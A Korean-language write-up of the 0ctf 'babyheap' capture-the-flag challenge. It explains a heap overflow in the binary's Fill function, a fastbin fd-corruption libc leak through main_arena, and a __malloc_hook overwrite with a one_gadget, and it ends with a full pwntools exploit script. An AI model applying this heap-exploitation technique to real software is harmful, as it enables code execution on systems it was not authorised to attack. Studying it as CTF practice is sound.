0ctf babyheap
소개
how2heap으로 unsorted bin , fastbin 을 공부하고 관련 문제가 있다고 하길래
찾아서 다른 분들의 Write-up을 참고하여 풀어 보았다.
보호 기법
RELRO | FULL RELRO |
Stack Canary | Canary Found |
NX | NX Enabled |
PIE | PIE Enabled |
분석
1.Allocate
- Size :
-> Result { Allocate (calloc) index n (n은 index 번호) }
2.Fill
- index :
- (Vulnerable!) Size :
- Content :
3.Free
- index :
4. Dump
- index :
-> Result { print content of index n }
5. Exit
-> Exit
Leak
Leak은 2번 Fill을 할때 제한 없이 내용을 채울 수 없다는 것을 이용해서 libc 릭 할 수 있다.
1. Allocate index 0 ~ 3 fastbin (0x20)
2. Allocate index 4 smallbin (0x80)
3. index 1 , 2 을 순서대로 Free 한다.
4. 그러면 2번의 fd에는 index 1의 주소가 적힌다.
5. index 0 을 Fill을 이용해 2번의 fd을 4번을 가르키도록 속인다
6. index 3을 Fill을 이용해 4번의 size을 0x32( 0x20 + 0x11(Header + prev_inuse) )에 맞춘다 -> 할당할때 사이즈를 검사한다.
7. Allocate를 두번한다
8. 그럼 index 2 에는 index 4의 주소가 들어간다.
9. index 3를 Fill을 이용해 index 4의 size를 smallbin 사이즈로 다시 맞춘다.
10. 0x80(index 4 , smallbin) 사이즈를 또 Allocate 한다 -> smallbin이 두개 일때 처음으로 할당한 것을 free 하면 unsorted bin 이 되어 fd , bk = main_arena + 88 가 된다.
10.Free index 4를 하면 index 4의 fd , bk 는 main_arena + 88 를 가르킨다.
11. index 2를 출력하면 main_arena+88의 값이 나온다. -> Libc 릭!
Allocate 다했을 경우 메모리 상황
0x555~c0으로 바꾸기 위해
상대주소인 c0 을 넣은 것이다
Exploit
FULL RELRO 상태라 got를 못덮는 상태이다.
그러면 __malloc_hook 을 덮으면 된다.
/* malloc를 진행 할 때 __malloc_hook이 null이 아닐경우(대부분 null)
그 위치에 있는 곳을 실행한다.*/
1.&__malloc_hook -35를 덮을 것이다.
2. Allocate를 두번하면
저위치에 덮을 것이며 그러면 초록색으로 된 부분을 size로 인식하게 된다 (fastbin)
3.fill로 malloc_hook를 덮을 것이다.
&__malloc_hook이다. 이를 채우기 위해선
exploit = "\x00" * 3 #35 - 32
exploit +=p64(0) * 2 #32 / 16
exploit += p64(libc+oneshot_gadget)
1.Free(4)
2.fill(2,__malloc_hook-35) /*index 2 points to index 4*/
3.Allocate(0x60) * 2 /*index 4 , 6(!!!) */
/*index 6 point to &__malloc_hook - 35*/
4.overwrite &_malloc_hook to oneshot gadget
4.Allocate(0x68) /* Any Size */
Exploit Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 | from pwn import * #Local main_arena = 0x3c4b20 oneshot_target = 0x3c4b10 - 35 #malloc_hook - 35 = 0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f oneshot = 0x4526a p = process("./babyheap") def Allocate(size): p.recv() p.sendline(str(1)) p.recv() p.sendline(str(size)) print p.recvline().replace("\n","") + " "+hex(size) def Fill(index , size , content): p.recv() p.sendline(str(2)) p.sendline(str(index)) p.sendline(str(size)) p.send(content) def Free(index): p.recv() p.sendline(str(3)) p.recv() p.sendline(str(index)) def Dump(index): p.recv() p.sendline(str(4)) p.sendline(str(index)) p.recvline() return p.recvline() #Content def Exit(index): print p.recv() p.sendline(str(5)) #Fastbin Allocate(0x20) #0 Allocate(0x20) #1 Allocate(0x20) #2 Allocate(0x20) #3 #Smallbin Allocate(0x80) #4 ##LEAK## Free(1) Free(2) #change index 1 fd Leak_Payload1 = p64(0) * 5 Leak_Payload1 += p64(0x31) Leak_Payload1 += p64(0) * 5 Leak_Payload1 +=p64(0x31) Leak_Payload1 += p8(0xc0) Fill(0 ,len(Leak_Payload1),Leak_Payload1) #end #chang index 4 fd Leak_Payload2 = p64(0) * 5 Leak_Payload2 += p64(0x31) Fill(3, len(Leak_Payload2) , Leak_Payload2) #end #Allocate changed fd Allocate(0x20) Allocate(0x20) #end #Replace index 4 to original size of index 4 Leak_Payload3 = p64(0) *5 Leak_Payload3 += p64(0x91) Fill(3,len(Leak_Payload3) , Leak_Payload3) Allocate(0x80) Free(4) leak = u64(Dump(2)[:8]) print(leak) libc = leak - main_arena -88 #leak - (main_arean+88) log.info("main_arena + 88 Leak : " + hex(leak)) log.info("libc Leak : " + hex(libc)) log.info("malloc_hook - 35 : " + hex(libc + oneshot_target)) Allocate(0x68) Free(4) Fill(2,8,p64(libc+oneshot_target)) Allocate(0x60) Allocate(0x60) exploit = "\x00" * 3 exploit += p64(0) * 2 exploit += p64(libc + oneshot) Fill(6, len(exploit),exploit) #Allocate(0x20) p.recv() p.sendline(str(1)) p.recv() p.sendline(str(size)) p.interactive() ##END## | cs |
heap부분 문제는 처음이라 익스코드가 너무 길다....
연습해야겟다...
*팁 원샷 가젯을 찾을 땐 one_gadget을 이용하자
one_gadget 라이브러리